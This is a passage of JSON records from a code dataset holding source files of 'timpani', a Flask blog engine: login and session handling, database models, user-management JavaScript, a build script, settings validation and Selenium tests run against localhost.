\"GET\":\n if webhelpers.checkForSession():\n return flask.redirect(\"/manage\")\n else:\n return flask.render_template(\"login.html\")\n\n elif flask.request.method == \"POST\":\n if (\"username\" not in flask.request.form\n or \"password\" not in flask.request.form):\n flask.flash(\"A username and password must be provided.\")\n return flask.render_template(\"login.html\")\n elif auth.validateUser(flask.request.form[\"username\"],\n flask.request.form[\"password\"]):\n donePage = webhelpers.canRecoverFromRedirect()\n donePage = donePage if donePage is not None else \"/manage\"\n sessionId, expires = auth.createSession(flask.request.form[\"username\"])\n flask.session[\"uid\"] = sessionId\n flask.session.permanent = True\n flask.session.permanent_session_lifetime = datetime.datetime.now() - expires\n return flask.redirect(donePage)\n else:\n flask.flash(\"Invalid username or password.\")\n return flask.render_template(\"login.html\")\n\[email protected](\"/logout\", methods=[\"POST\"])\ndef logout():\n if webhelpers.checkForSession():\n if \"uid\" in flask.session:\n sessionId = flask.session[\"uid\"]\n auth.invalidateSession(sessionId)\n flask.session.clear()\n\n return flask.redirect(\"/login\")\n\[email protected](\"/static/theme/<path:filePath>\")\ndef themeStatic(filePath):\n currentTheme = themes.getCurrentTheme()\n if currentTheme[\"staticPath\"] is None:\n return \"\", 404\n staticPath = currentTheme[\"staticPath\"]\n return flask.send_from_directory(staticPath, filePath)\n"
},
{
"alpha_fraction": 0.7727272510528564,
"alphanum_fraction": 0.7727272510528564,
"avg_line_length": 21,
"blob_id": "689c4979ee018d3bbcd931dc13cc50b4f768e244",
"content_id": "828973d3f827eb106a99a15b273e5e557aa6d59b",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 154,
"license_type": "permissive",
"max_line_length": 27,
"num_lines": 7,
"path": "/timpani/__init__.py",
"repo_name": "ollien/timpani",
"src_encoding": "UTF-8",
"text": "from . import database\nfrom . import blog\nfrom . import auth\nfrom . import configmanager\nfrom . import wsgi\nfrom . import themes\nfrom .timpani import run\n"
},
{
"alpha_fraction": 0.734197735786438,
"alphanum_fraction": 0.734197735786438,
"avg_line_length": 40.830509185791016,
"blob_id": "07cc46a7d138124c36b79a015946fb3a92bebc23",
"content_id": "ccf90cb8ab39974c03ad7fe7af01a0f611067006",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 2468,
"license_type": "permissive",
"max_line_length": 139,
"num_lines": 59,
"path": "/timpani/tables.py",
"repo_name": "ollien/timpani",
"src_encoding": "UTF-8",
"text": "import sqlalchemy\nimport sqlalchemy.orm\nimport sqlalchemy.ext.declarative\n\nBase = sqlalchemy.ext.declarative.declarative_base()\n\nclass User(Base):\n __tablename__ = \"users\"\n\n id = sqlalchemy.Column(sqlalchemy.Integer, primary_key=True)\n username = sqlalchemy.Column(sqlalchemy.String, unique=True, nullable=False)\n full_name = sqlalchemy.Column(sqlalchemy.String, nullable=False)\n password = sqlalchemy.Column(sqlalchemy.String, nullable=False)\n can_change_settings = sqlalchemy.Column(sqlalchemy.Boolean)\n can_write_posts = sqlalchemy.Column(sqlalchemy.Boolean)\n\n __table_args__ = (\n sqlalchemy.schema.Index(\"username_unique\", sqlalchemy.func.lower(username), unique=True),\n )\n\n\nclass Post(Base):\n __tablename__ = \"posts\"\n\n id = sqlalchemy.Column(sqlalchemy.Integer, primary_key=True)\n title = sqlalchemy.Column(sqlalchemy.String)\n body = sqlalchemy.Column(sqlalchemy.Text,) #Should be text to avoid length problems\n time_posted = sqlalchemy.Column(sqlalchemy.DateTime)\n author_id = sqlalchemy.Column(sqlalchemy.Integer, sqlalchemy.ForeignKey(User.__table__.columns.id))\n author = sqlalchemy.orm.relationship(\"User\", foreign_keys=author_id)\n\nclass Tag(Base):\n __tablename__ = \"tags\"\n\n id = sqlalchemy.Column(sqlalchemy.Integer, primary_key=True)\n name = sqlalchemy.Column(sqlalchemy.Text, unique=True, nullable=False)\n\nclass TagRelation(Base):\n __tablename__ = \"tag_relations\"\n\n post_id = sqlalchemy.Column(sqlalchemy.Integer, sqlalchemy.ForeignKey(Post.__table__.columns.id, ondelete=\"CASCADE\"), primary_key=True)\n tag_id = sqlalchemy.Column(sqlalchemy.Integer, sqlalchemy.ForeignKey(Tag.__table__.columns.id, ondelete=\"CASCADE\"), primary_key=True)\n post = sqlalchemy.orm.relationship(\"Post\", foreign_keys=post_id)\n tag = sqlalchemy.orm.relationship(\"Tag\", foreign_keys=tag_id)\n\nclass Session(Base):\n __tablename__ = \"sessions\"\n\n id = sqlalchemy.Column(sqlalchemy.Integer, primary_key=True)\n user_id = sqlalchemy.Column(sqlalchemy.Integer, sqlalchemy.ForeignKey(User.__table__.columns.id))\n user = sqlalchemy.orm.relationship(\"User\", foreign_keys=user_id)\n session_id = sqlalchemy.Column(sqlalchemy.String, nullable=False, index=True)\n expires = sqlalchemy.Column(sqlalchemy.DateTime, nullable=False)\n\nclass Setting(Base):\n __tablename__ = \"settings\"\n\n name = sqlalchemy.Column(sqlalchemy.String, primary_key=True)\n value = sqlalchemy.Column(sqlalchemy.String)\n"
},
{
"alpha_fraction": 0.7594553828239441,
"alphanum_fraction": 0.7594553828239441,
"avg_line_length": 32.04999923706055,
"blob_id": "4a07e099771dacfbe8ee30553ed1655d6de6fb2d",
"content_id": "c1e56b519389c76b6f508387e0d34cc33ca3e706",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "JavaScript",
"length_bytes": 661,
"license_type": "permissive",
"max_line_length": 63,
"num_lines": 20,
"path": "/web-src/js/login.js",
"repo_name": "ollien/timpani",
"src_encoding": "UTF-8",
"text": "/*jshint eqnull: true, eqeqeq: true */\n\ndocument.addEventListener(\"DOMContentLoaded\", function(event) {\n\tvar form = document.getElementById(\"login-form\");\n\tvar usernameInput = document.getElementById(\"username-field\");\n\tvar passwordInput = document.getElementById(\"password-field\");\n\n\tvar addInvalid = function(event) {\n\t\tthis.classList.add(\"error\");\n\t};\n\n\tvar resetInvalid = function(event) {\n\t\tthis.classList.remove(\"error\");\n\t};\n\n\tusernameInput.addEventListener(\"invalid\", addInvalid);\n\tpasswordInput.addEventListener(\"invalid\", addInvalid);\n\tusernameInput.addEventListener(\"input\", resetInvalid);\n\tpasswordInput.addEventListener(\"input\", resetInvalid);\n});\n"
},
{
"alpha_fraction": 0.6931359171867371,
"alphanum_fraction": 0.698855996131897,
"avg_line_length": 35.24390411376953,
"blob_id": "2a16c6d2740a7824c44f2e3b2f99d253eb2ba313",
"content_id": "8019a996e313d67d2605f7619c582c71edcac459",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 2972,
"license_type": "permissive",
"max_line_length": 80,
"num_lines": 82,
"path": "/tests/tests/addpost.py",
"repo_name": "ollien/timpani",
"src_encoding": "UTF-8",
"text": "import binascii\nimport os\nimport sqlalchemy\nimport selenium\nfrom selenium.webdriver.common import keys\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions\nfrom selenium.webdriver.common.by import By\nfrom timpani import database\n\nLOGIN_TITLE = \"Login - Timpani\"\nADD_POST_TITLE = \"Add Post - Timpani\"\n#A random constant used to varify that a unique post was made\nPOST_RANDOM = binascii.hexlify(os.urandom(16)).decode() \nPOST_TITLE = \"Test post, please ignore.\"\nPOST_BODY = (\"This is a test post. \"\n \"There is no reason you should be paying attention to it. %s\" % POST_RANDOM)\nPOST_TAGS = [\"test\", \"post\", \"selenium\"]\n\ndef test(driver, username, password):\n databaseConnection = database.DatabaseConnection()\n driver.get(\"http://127.0.0.1:8080/add_post\")\t\n\n (WebDriverWait(driver, 10)\n .until(expected_conditions.title_contains(\"Timpani\")))\n\n #Check that we were redirected to the login page, as we are not logged in.\t\n assert driver.title == LOGIN_TITLE, \"Title is %s\" % driver.title\n\n loginForm = driver.find_element_by_id(\"login-form\")\n usernameField = driver.find_element_by_id(\"username-field\")\n passwordField = driver.find_element_by_id(\"password-field\")\n usernameField.send_keys(username)\n passwordField.send_keys(password)\n loginForm.submit()\n\n (WebDriverWait(driver, 10)\n .until_not(expected_conditions.title_is(LOGIN_TITLE)))\n\n #We should have been redirected to the add_post page.\n assert driver.title == ADD_POST_TITLE, \"Title is %s\" % driver.title\n \n postForm = driver.find_element_by_id(\"post-form\")\n titleInput = driver.find_element_by_id(\"title-input\")\n editorField = driver.find_element_by_css_selector(\"#editor > .ql-editor\")\n tagsInput = driver.find_element_by_id(\"tag-input-div\")\n\n titleInput.click()\n titleInput.send_keys(POST_TITLE)\n \n editorField.click()\n actionChain = selenium.webdriver.ActionChains(driver)\n actionChain.send_keys(POST_BODY)\n actionChain.perform()\n\n tagsInput.click()\n actionChain = selenium.webdriver.ActionChains(driver)\n for tag in POST_TAGS:\n actionChain.send_keys(tag)\n actionChain.send_keys(keys.Keys.SPACE)\n actionChain.perform()\n \n postForm.submit()\n\n post = (databaseConnection.session\n .query(database.tables.Post)\n .order_by(sqlalchemy.desc(database.tables.Post.time_posted))\n .first())\n tags = (databaseConnection.session\n .query(database.tables.Tag.name)\n .join(database.tables.TagRelation, \n database.tables.TagRelation.tag_id == database.tables.Tag.id)\n .filter(database.tables.TagRelation.post_id == post.id)\n .all())\n\n #Resolve sqlalchemy tuples\n tags = [tag[0] for tag in tags]\n\n assert post != None\n assert post.title == POST_TITLE, \"Title is %s\" % post.title\n assert POST_RANDOM in post.body\n assert tags == POST_TAGS, \"Tags are %s\" % tags\n"
},
{
"alpha_fraction": 0.6447601914405823,
"alphanum_fraction": 0.6483126282691956,
"avg_line_length": 25.809524536132812,
"blob_id": "f8a83b521609755184640c245b8c7ddb19b4e952",
"content_id": "3ec6e0fb8bd71b560c51646ddbaf6080b410c7fb",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "JavaScript",
"length_bytes": 563,
"license_type": "permissive",
"max_line_length": 48,
"num_lines": 21,
"path": "/themes/default/gulpfile.js",
"repo_name": "ollien/timpani",
"src_encoding": "UTF-8",
"text": "var gulp = require(\"gulp\");\nvar sass = require(\"gulp-sass\");\nvar autoPrefixer = require(\"gulp-autoprefixer\");\nvar minifyCss = require(\"gulp-minify-css\");\nvar rename = require(\"gulp-rename\");\nvar plumber = require(\"gulp-plumber\");\n\ngulp.task(\"default-theme\", function(){\n\treturn gulp.src(\"./themes/default/src.scss\")\n\t\t.pipe(plumber())\n\t\t.pipe(sass().on(\"error\", sass.logError))\n\t\t.pipe(autoPrefixer({\n\t\t\tbrowsers: [\n\t\t\t\t\"last 2 versions\",\n\t\t\t\t\"IE 9\"\n\t\t\t]\n\t\t}))\n\t\t.pipe(minifyCss())\n\t\t.pipe(rename(\"theme.css\"))\n\t\t.pipe(gulp.dest(\"./themes/default/static/\"));\n});\n"
},
{
"alpha_fraction": 0.6919504404067993,
"alphanum_fraction": 0.6940144300460815,
"avg_line_length": 33,
"blob_id": "c69df96378fb563916f2846478a4ba15754ca4be",
"content_id": "85b5641aa44e3228af4a92e186f2458247652ecc",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1938,
"license_type": "permissive",
"max_line_length": 75,
"num_lines": 57,
"path": "/timpani/settings.py",
"repo_name": "ollien/timpani",
"src_encoding": "UTF-8",
"text": "from . import database\nfrom . import themes\n\nDEFAULT_SETTINGS = {\n \"title\": \"Timpani\",\n \"subtitle\": \"Your blog, run using Timpani.\",\n \"display_name\": \"full_name\",\n \"theme\": \"default\",\n \"posts_per_page\": \"5\"\n}\n\n#Contains lambda functions that return true when the condition is valid\n#Name of the game is keep them simple\nSETTING_VALIDATIONS = {\n \"title\": lambda x: len(x) > 0,\n \"display_name\": lambda x: x == \"full_name\" or x == \"username\",\n \"theme\": lambda x: x in themes.getAvailableThemes(),\n \"posts_per_page\": lambda x: int(x) > 0\n}\n\n#Messages to be returned when paramaters are found to be invalid\nVALIDATION_MESAGES = {\n \"title\": \"Title must have a length greater than zero.\",\n \"display_name\": \"Invalid display name.\",\n \"theme\": \"Invalid theme selection.\",\n \"posts_per_page\": \"There must be at least one post per page\"\n}\n\ndef getAllSettings():\n databaseConnection = database.ConnectionManager.getMainConnection()\n query = databaseConnection.session.query(database.tables.Setting)\n settings = query.all()\n return {setting.name: setting.value for setting in settings}\n\ndef getSettingValue(name):\n databaseConnection = database.ConnectionManager.getMainConnection()\n query = (databaseConnection.session\n .query(database.tables.Setting)\n .filter(database.tables.Setting.name == name))\n if query.count() > 0:\n return query.first().value\n return None\n\ndef setSettingValue(name, value):\n valid = validateSetting(name, value)\n if valid:\n databaseConnection = database.ConnectionManager.getMainConnection()\n settingObj = database.tables.Setting(name=name, value=value)\n databaseConnection.session.merge(settingObj)\n databaseConnection.session.commit()\n return True\n return False\n\ndef validateSetting(name, value):\n if name in SETTING_VALIDATIONS:\n return SETTING_VALIDATIONS[name](value)\n return True\n"
},
{
"alpha_fraction": 0.6886399984359741,
"alphanum_fraction": 0.7097600102424622,
"avg_line_length": 38.0625,
"blob_id": "ccee351586a9fde036bc60e099cbbde0e7c22edc",
"content_id": "e58a072700c746f0ebdb5de6019bdd0262800dc8",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 3125,
"license_type": "permissive",
"max_line_length": 96,
"num_lines": 80,
"path": "/tests/tests/permissions.py",
"repo_name": "ollien/timpani",
"src_encoding": "UTF-8",
"text": "import sqlalchemy\nimport selenium\nfrom selenium.webdriver.common import keys\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions\nfrom selenium.webdriver.common.by import By\nfrom timpani import database\n\nLOGIN_TITLE = \"Login - Timpani\"\nMANAGE_TITLE = \"Manage Blog - Timpani\"\nADD_POST_TITLE = \"Add Post - Timpani\"\nSETTINGS_TITLE = \"Settings - Timpani\"\n\ndef test(driver, authorUsername, authorPassword, adminUsername, adminPassword):\n databaseConnection = database.DatabaseConnection()\n driver.get(\"http://127.0.0.1:8080/login\")\n\n (WebDriverWait(driver, 10)\n .until(expected_conditions.title_contains(\"Timpani\")))\n\n #Check that we were redirected to the login page, as we are not logged in.\t\n assert driver.title == LOGIN_TITLE, \"Title is %s\" % driver.title\n\n #Log in as author and make sure we can access addPosts, but not settings\n loginForm = driver.find_element_by_id(\"login-form\")\n usernameField = driver.find_element_by_id(\"username-field\")\n passwordField = driver.find_element_by_id(\"password-field\")\n usernameField.send_keys(authorUsername)\n passwordField.send_keys(authorPassword)\n loginForm.submit()\n\n (WebDriverWait(driver, 10)\n .until_not(expected_conditions.title_is(LOGIN_TITLE)))\n\n assert driver.title == MANAGE_TITLE, \"Title is %s\" % driver.title\n \n driver.get(\"http://127.0.0.1:8080/add_post\")\n\n assert driver.title == ADD_POST_TITLE, \"Title is %s\" % driver.title\n\n driver.get(\"http://127.0.0.1:8080/settings\")\n\n assert driver.title == MANAGE_TITLE\n #Will throw a timeout exception if the\n #page doesn't load, or it can't find the element.\n (WebDriverWait(driver, 10)\n .until(expected_conditions.presence_of_element_located((By.CSS_SELECTOR, \"div.error\"))))\n\n #Log out and try the next account.\n logoutButton = driver.find_element_by_css_selector(\"button.logout-button\")\n logoutButton.click()\n\n (WebDriverWait(driver, 10)\n .until(expected_conditions.title_is(LOGIN_TITLE)))\n\n assert driver.title == LOGIN_TITLE, \"Title is %s\" % driver.title\n\n #Log in as admin and make sure we can access settings, but not addPosts\n loginForm = driver.find_element_by_id(\"login-form\")\n usernameField = driver.find_element_by_id(\"username-field\")\n passwordField = driver.find_element_by_id(\"password-field\")\n usernameField.send_keys(adminUsername)\n passwordField.send_keys(adminPassword)\n loginForm.submit()\n\n (WebDriverWait(driver, 10)\n .until_not(expected_conditions.title_is(LOGIN_TITLE)))\n assert driver.title == MANAGE_TITLE, \"Title is %s\" % driver.title\n\n driver.get(\"http://127.0.0.1:8080/settings\")\n\n assert driver.title == SETTINGS_TITLE, \"Title is %s\" % driver.title\n\n driver.get(\"http://127.0.0.1:8080/add_post\")\n\n assert driver.title == MANAGE_TITLE, \"Title is %s\" % driver.title\n #Will throw a timeout exception if the\n #page doesn't load, or it can't find the element.\n (WebDriverWait(driver, 10)\n .until(expected_conditions.presence_of_element_located((By.CSS_SELECTOR, \"div.error\"))))\n"
},
{
"alpha_fraction": 0.774944543838501,
"alphanum_fraction": 0.774944543838501,
"avg_line_length": 33.69230651855469,
"blob_id": "f2586e543d2e95795eb4ce9695da3ce19dabbaa7",
"content_id": "a8b38806591d0701bc171be13baa04b500b9c205",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 902,
"license_type": "permissive",
"max_line_length": 76,
"num_lines": 26,
"path": "/timpani/webserver/webserver.py",
"repo_name": "ollien/timpani",
"src_encoding": "UTF-8",
"text": "import flask\nimport os.path\nimport datetime\nimport urllib.parse\nfrom .. import database\nfrom .. import configmanager\nfrom . import controllers\nfrom .webhelpers import xssFilter\n\nFILE_LOCATION = os.path.abspath(os.path.dirname(__file__))\nSTATIC_PATH = os.path.abspath(os.path.join(FILE_LOCATION, \"../../static\"))\nCONFIG_PATH = os.path.abspath(os.path.join(FILE_LOCATION, \"../../configs/\"))\n\nconfigs = configmanager.ConfigManager(configPath=CONFIG_PATH)\nauthConfig = configs[\"auth\"]\n\napp = flask.Flask(__name__, static_folder=STATIC_PATH)\napp.secret_key = authConfig[\"signing_key\"]\napp.register_blueprint(controllers.user.blueprint)\napp.register_blueprint(controllers.admin.blueprint)\napp.jinja_env.filters[\"xssFilter\"] = xssFilter\n\[email protected]_request\ndef teardown_request(exception=None):\n databaseConnection = database.ConnectionManager.getMainConnection()\n databaseConnection.session.close()\n"
},
{
"alpha_fraction": 0.7431445717811584,
"alphanum_fraction": 0.7446603178977966,
"avg_line_length": 39.541900634765625,
"blob_id": "c66da0af9a6726a05181fdda4ad79720579f8a47",
"content_id": "7eff58fdef6a4d2d17f641722867ecc8b3f638ee",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "JavaScript",
"length_bytes": 14514,
"license_type": "permissive",
"max_line_length": 114,
"num_lines": 358,
"path": "/web-src/js/manage_users.js",
"repo_name": "ollien/timpani",
"src_encoding": "UTF-8",
"text": "/*jshint eqnull: true, eqeqeq: true, expr: true*/\n\nvar PASSWORDS_DO_NOT_MATCH = \"Passwords do not match.\";\n\ndocument.addEventListener(\"DOMContentLoaded\", function(event) {\n\tvar addUserModalElement = document.getElementById(\"add-user-modal\");\n\tvar userInfoModalElement = document.getElementById(\"user-info-modal\");\n\tvar changePasswordModalElement = document.getElementById(\"change-password-modal\");\n\tvar editPermissionsModalElement = document.getElementById(\"edit-permissions-modal\");\n\tvar deleteUserModalElement = document.getElementById(\"delete-modal\");\n\tvar addUserModal = new Modal(addUserModalElement);\n\taddUserModal.positiveButton = addUserModal.element.querySelector(\"button.positive\");\n\tvar userInfoModal = new Modal(userInfoModalElement);\n\tuserInfoModal.positiveButton = userInfoModal.element.querySelector(\"button.positive\");\n\tuserInfoModal.body = userInfoModal.element.querySelector(\"div.modal-body\");\n\tvar changePasswordModal = new Modal(changePasswordModalElement);\n\tchangePasswordModal.positiveButton = changePasswordModal.element.querySelector(\"button.positive\");\n\tvar editPermissionsModal = new Modal(editPermissionsModalElement);\n\teditPermissionsModal.positiveButton = editPermissionsModal.element.querySelector(\"button.positive\");\n\tvar deleteUserModal = new Modal(deleteUserModalElement);\n\tdeleteUserModal.positiveButton = deleteUserModal.element.querySelector(\"button.positive\");\n\tvar addUserButton = document.getElementById(\"add-user-button\");\n\tvar usersList = document.getElementById(\"users-list\");\n\tvar createUserForm = document.getElementById(\"create-user-form\");\n\tvar fakeCreateSubmitButton = createUserForm.querySelector(\"button\");\n\tvar userInfoButtons = Array.prototype.slice.call(document.querySelectorAll(\".user-info-button\"));\n\tvar changePasswordButton = document.getElementById(\"change-password-button\");\n\tvar editPermissionsButton = document.getElementById(\"edit-permissions-button\");\n\tvar deleteUserButton = document.getElementById(\"delete-user-button\");\n\t//Inputs for add user modal\n\tvar usernameInput = document.getElementById(\"username-input\");\n\tvar fullNameInput = document.getElementById(\"full-name-input\");\n\tvar passwordInput = document.getElementById(\"password-input\");\n\tvar confirmPasswordInput = document.getElementById(\"confirm-password-input\");\n\tvar canChangeSettingsCheckbox = document.getElementById(\"can-change-settings-checkbox\");\n\tvar canWritePostsCheckbox = document.getElementById(\"can-write-posts-checkbox\");\n\t//Spans for user info modal\n\tvar userInfoSpinner = document.getElementById(\"spinner-container\");\n\tvar usernameDisplay = document.getElementById(\"username-display\");\n\tvar fullNameDisplay = document.getElementById(\"full-name-display\");\n\tvar permissionDisplayList = document.getElementById(\"permission-info\");\n\tvar canChangeSettingsDisplay = document.getElementById(\"can-change-settings\");\n\tvar canWritePostsDisplay = document.getElementById(\"can-write-posts\");\n\tvar noPermissions = document.getElementById(\"no-permissions\");\n\t//Stores the current user id. If -1, no user's modal is currently open.\n\tvar currentUserId = -1;\n\t//Stores the current username. If \"\", no user's modal is currently open.\n\tvar currentUsername = \"\";\n\t//Inputs for reset password modal\n\tvar newPasswordInput = document.getElementById(\"reset-password-input\");\n\tvar confirmNewPasswordInput = document.getElementById(\"confirm-password-reset-input\");\n\tvar resetPasswordForm = document.getElementById(\"change-password-form\");\n\tvar fakeResetSubmitButton = resetPasswordForm.querySelector(\"button\");\n\t//Inputs for edit permissions modal\n\tvar canChangeSettingsEditCheckbox = document.getElementById(\"can-change-settings-edit-checkbox\");\n\tvar canWritePostsEditCheckbox = document.getElementById(\"can-write-posts-edit-checkbox\");\n\t//View for deleteUserModal\n\tvar deleteUsernameSpan = document.getElementById(\"delete-username\");\n\n\tfunction addInfoButtonListener(button) {\n\t\tbutton.addEventListener(\"click\", function(event) {\n\t\t\tuserInfoSpinner.classList.remove(\"fade\");\n\t\t\tuserInfoModal.body.classList.remove(\"fade\");\n\t\t\tuserInfoSpinner.style.opacity = 1;\n\t\t\tuserInfoModal.body.style.opacity = 0;\n\t\t\tuserInfoModal.show();\n\t\t\tcurrentUserId = this.parentNode.getAttribute(\"user_id\");\n\t\t\tcurrentUsername = this.parentNode.querySelector(\".username\").textContent;\n\t\t\tvar request = new XMLHttpRequest();\n\t\t\trequest.open(\"GET\", \"/get_user_info/\" + currentUserId);\n\t\t\trequest.addEventListener(\"load\", function(event) {\n\t\t\t\tvar res = JSON.parse(request.responseText);\n\t\t\t\tif (res.error === 0) {\n\t\t\t\t\tusernameDisplay.textContent = res.info.username;\n\t\t\t\t\tfullNameDisplay.textContent = res.info.full_name;\n\t\t\t\t\tif (res.info.permissions.length === 0) {\n\t\t\t\t\t\tnoPermissions.style.display = \"\";\n\t\t\t\t\t\tpermissionDisplayList.style.display = \"none\";\n\t\t\t\t\t}\n\t\t\t\t\telse {\n\t\t\t\t\t\tnoPermissions.style.display = \"none\";\n\t\t\t\t\t\tpermissionDisplayList.style.display = \"\";\n\t\t\t\t\t\tcanChangeSettingsDisplay.style.display = res.info.permissions.indexOf(\"can_write_posts\") > -1 ? \"\" : \"none\";\n\t\t\t\t\t\tcanWritePostsDisplay.style.display = res.info.permissions.indexOf(\"can_change_settings\") > -1 ? \"\" : \"none\";\n\t\t\t\t\t}\n\n\t\t\t\t\tuserInfoSpinner.classList.add(\"fade\");\n\t\t\t\t\tuserInfoModal.body.classList.add(\"fade\");\n\t\t\t\t\tuserInfoSpinner.style.opacity = \"\";\n\t\t\t\t\tuserInfoModal.body.style.opacity = \"\";\n\t\t\t\t\twindow.getComputedStyle(userInfoSpinner).opacity;\n\t\t\t\t\twindow.getComputedStyle(userInfoModal.body).opacity;\n\t\t\t\t}\n\t\t\t\telse if (res.error === 1) {\n\t\t\t\t\twindow.location = \"/login\";\n\t\t\t\t}\n\t\t\t});\n\t\t\trequest.send();\n\t\t});\n\t}\n\n\t//For use with event listeners for when the cancel button is pressed on a pending ajax request\n\tfunction cancelRequest(request, button) {\n\t\trequest.abort();\n\t\tbutton.classList.remove(\"working\");\n\t\tbutton.disabled = false;\n\t}\n\n\t//Returns the appropriate element to insert before in order to preserve alphabetical order\n\t//Returns null if there is no element. appendChild should be used in these cases.\n\tfunction getInsertBeforeUsername(username) {\n\t\tuserElements = usersList.querySelectorAll(\"li.user\");\n\t\tfor (var i = 0; i < userElements.length; i++) {\n\t\t\tif (userElements[i].querySelector(\"span.username\").textContent.toLowerCase() > username.toLowerCase()) {\n\t\t\t\treturn userElements[i];\n\t\t\t}\n\t\t}\n\t\treturn null;\n\t}\n\n\taddUserButton.addEventListener(\"click\", function(event) {\n\t\taddUserModal.show();\n\t});\n\n\tcreateUserForm.addEventListener(\"submit\", function(event) {\n\t\taddUserModal.positiveButton.classList.add(\"working\");\n\t\taddUserModal.positiveButton.disabled = true;\n\t\tevent.preventDefault();\n\t\tcreateUserForm.checkValidity();\n\t\tvar formData = new FormData();\n\t\tformData.append(usernameInput.getAttribute(\"name\"), usernameInput.value);\n\t\tformData.append(fullNameInput.getAttribute(\"name\"), fullNameInput.value);\n\t\tformData.append(passwordInput.getAttribute(\"name\"), passwordInput.value);\n\t\tif (canChangeSettingsCheckbox.checked) {\n\t\t\tformData.append(canChangeSettingsCheckbox.getAttribute(\"name\"), \"on\");\n\t\t}\n\t\tif (canWritePostsCheckbox.checked) {\n\t\t\tformData.append(canWritePostsCheckbox.getAttribute(\"name\"), \"on\");\n\t\t}\n\t\tvar request = new XMLHttpRequest();\n\t\trequest.open(\"POST\", \"/create_user\");\n\t\trequest.addEventListener(\"load\", function(event) {\n\t\t\tvar res = JSON.parse(request.responseText);\n\t\t\taddUserModal.positiveButton.classList.remove(\"working\");\n\t\t\taddUserModal.positiveButton.disabled = false;\n\t\t\tif (res.error === 0) {\n\t\t\t\tvar user_id = res.user_id;\n\t\t\t\tvar li = document.createElement(\"li\");\n\t\t\t\tli.setAttribute(\"user_id\", user_id);\n\t\t\t\tli.classList.add(\"user\");\n\t\t\t\tvar usernameSpan = document.createElement(\"span\");\n\t\t\t\tusernameSpan.classList.add(\"username\");\n\t\t\t\tusernameSpan.textContent = usernameInput.value;\n\t\t\t\tli.appendChild(usernameSpan);\n\t\t\t\tvar infoButton = document.createElement(\"span\");\n\t\t\t\tinfoButton.classList.add(\"user-info-button\");\n\t\t\t\tinfoButton.classList.add(\"fa\");\n\t\t\t\tinfoButton.classList.add(\"fa-info-circle\");\n\t\t\t\tuserInfoButtons.push(infoButton);\n\t\t\t\taddInfoButtonListener(infoButton);\n\t\t\t\tli.appendChild(infoButton);\n\t\t\t\tli.style.opacity = 0;\n\t\t\t\tli.style.height = \"0px\";\n\t\t\t\tvar before = getInsertBeforeUsername(usernameInput.value);\n\t\t\t\tif (before === null) {\n\t\t\t\t\tusersList.appendChild(li);\n\t\t\t\t}\n\t\t\t\telse {\n\t\t\t\t\tusersList.insertBefore(li, before);\n\t\t\t\t}\n\t\t\t\t//Fixes race condition where element wouldn't fade\n\t\t\t\twindow.getComputedStyle(li).opacity;\n\t\t\t\twindow.getComputedStyle(li).height;\n\t\t\t\tli.style.opacity = 1;\n\t\t\t\tli.style.height = \"\";\n\t\t\t\taddUserModal.hide();\n\t\t\t}\n\t\t\telse if (res.error === 1) {\n\t\t\t\twindow.location = \"/login\";\n\t\t\t}\n\t\t\telse if (res.error === 2) {\n\t\t\t\tusernameInput.setCustomValidity(\"Username already in use!\");\n\t\t\t\tfakeCreateSubmitButton.click();\n\t\t\t}\n\t\t});\n\n\t\taddUserModal.element.addEventListener(\"neutral-pressed\", function(event) {\n\t\t\tcancelRequest(request, addUserModal.positiveButton);\n\t\t});\n\n\t\trequest.send(formData);\n\t});\n\n\tusernameInput.addEventListener(\"input\", function(event) {\n\t\tthis.setCustomValidity(\"\");\n\t});\n\n\tpasswordInput.addEventListener(\"input\", function(event) {\n\t\tthis.setCustomValidity(\"\");\n\t\tif (this.value !== confirmPasswordInput.value) {\n\t\t\tthis.setCustomValidity(PASSWORDS_DO_NOT_MATCH);\n\t\t}\n\t});\n\n\tconfirmPasswordInput.addEventListener(\"input\", function(event) {\n\t\tpasswordInput.setCustomValidity(\"\");\n\t\tif (passwordInput.value !== this.value) {\n\t\t\tpasswordInput.setCustomValidity(PASSWORDS_DO_NOT_MATCH);\n\t\t}\n\t});\n\n\taddUserModal.element.addEventListener(\"positive-pressed\", function(event) {\n\t\tevent.preventDefault();\n\t\t//Through I would normally use createUserForm.submit(), this doesn't fire the \"submit\" event.\n\t\tfakeCreateSubmitButton.click();\n\t});\n\n\taddUserModal.element.addEventListener(\"hide\", function(event) {\n\t\tcreateUserForm.reset();\n\t\tpasswordInput.setCustomValidity(\"\");\n\t\tconfirmPasswordInput.setCustomValidity(\"\");\n\t\tusernameInput.setCustomValidity(\"\");\n\t});\n\n\tuserInfoButtons.forEach(addInfoButtonListener);\n\tchangePasswordButton.addEventListener(\"click\", function(event) {\n\t\tchangePasswordModal.show();\n\t});\n\n\tresetPasswordForm.addEventListener(\"submit\", function(event) {\n\t\tchangePasswordModal.positiveButton.classList.add(\"working\");\n\t\taddUserModal.positiveButton.disabled = true;\n\t\tevent.preventDefault();\n\t\tcreateUserForm.checkValidity();\n\t\tvar formData = new FormData();\n\t\tformData.append(\"userId\", currentUserId);\n\t\tformData.append(newPasswordInput.getAttribute(\"name\"), newPasswordInput.value);\n\t\tvar request = new XMLHttpRequest();\n\t\trequest.open(\"POST\", \"/reset_password\", true);\n\t\trequest.addEventListener(\"load\", function(event) {\n\t\t\tchangePasswordModal.positiveButton.classList.add(\"working\");\n\t\t\taddUserModal.positiveButton.disabled = false;\n\t\t\tvar res = JSON.parse(request.responseText);\n\t\t\tif (res.error === 0) 